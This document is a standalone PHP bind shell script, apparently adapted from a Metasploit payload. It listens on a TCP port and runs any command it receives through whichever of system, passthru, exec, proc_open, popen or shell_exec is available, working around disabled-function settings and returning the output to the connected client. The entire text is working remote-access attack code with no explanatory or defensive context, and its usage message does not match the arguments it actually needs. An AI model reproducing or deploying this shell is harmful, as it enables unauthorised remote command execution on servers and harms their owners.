Bind Shell PHP

#!/usr/bin/php
<?php
/*
Knull's modified `msfpayload php/bind_php R`
*/

if ($argc === 3) {

@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);

$df=@ini_get('disable_functions');
if(!empty($df)){
    $df=preg_replace('/[, ]+/', ',', $df);
    $df=explode(',', $df);
    $df=array_map('trim', $df);
}else{
    $df=array();
}

$port=$argv[2];
$ip=$argv[1];

$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,$ip,$port);
$ret=@socket_listen($sock,5);

$msgsock=@socket_accept($sock);
@socket_close($sock);

while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
{
    $o = '';
    $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
    if(FALSE===$c){break;}
    if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
    } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
    }else{
        if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\n";
    }
    $isc='is_callable';
    $ina='in_array';

    if($isc('system')and!$ina('system',$df)){
        ob_start();
        system($c);
        $o=ob_get_contents();
        ob_end_clean();
    }else if($isc('passthru')and!$ina('passthru',$df)){
        ob_start();
        passthru($c);
        $o=ob_get_contents();
        ob_end_clean();
    }else if($isc('exec')and!$ina('exec',$df)){
        $o=array();
        exec($c,$o);
        $o=join(chr(10),$o).chr(10);
    }else if($isc('proc_open')and!$ina('proc_open',$df)){
        $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
        $o=NULL;
        while(!feof($pipes[1])){
            $o.=fread($pipes[1],1024);
        }
        @proc_close($handle);
    }else if($isc('popen')and!$ina('popen',$df)){
        $fp=popen($c,'r');
        $o=NULL;
        if(is_resource($fp)){
            while(!feof($fp)){
                $o.=fread($fp,1024);
            }
        }
        @pclose($fp);
    }else if($isc('shell_exec')and!$ina('shell_exec',$df)){
        $o=shell_exec($c);
    }else {
        $o=0;
    }

    }
    @socket_write($msgsock,$o,strlen($o));
}
@socket_close($msgsock);
} else {
    echo 'usage: ' . $argv[0] . ' port' . "\n";
}

?>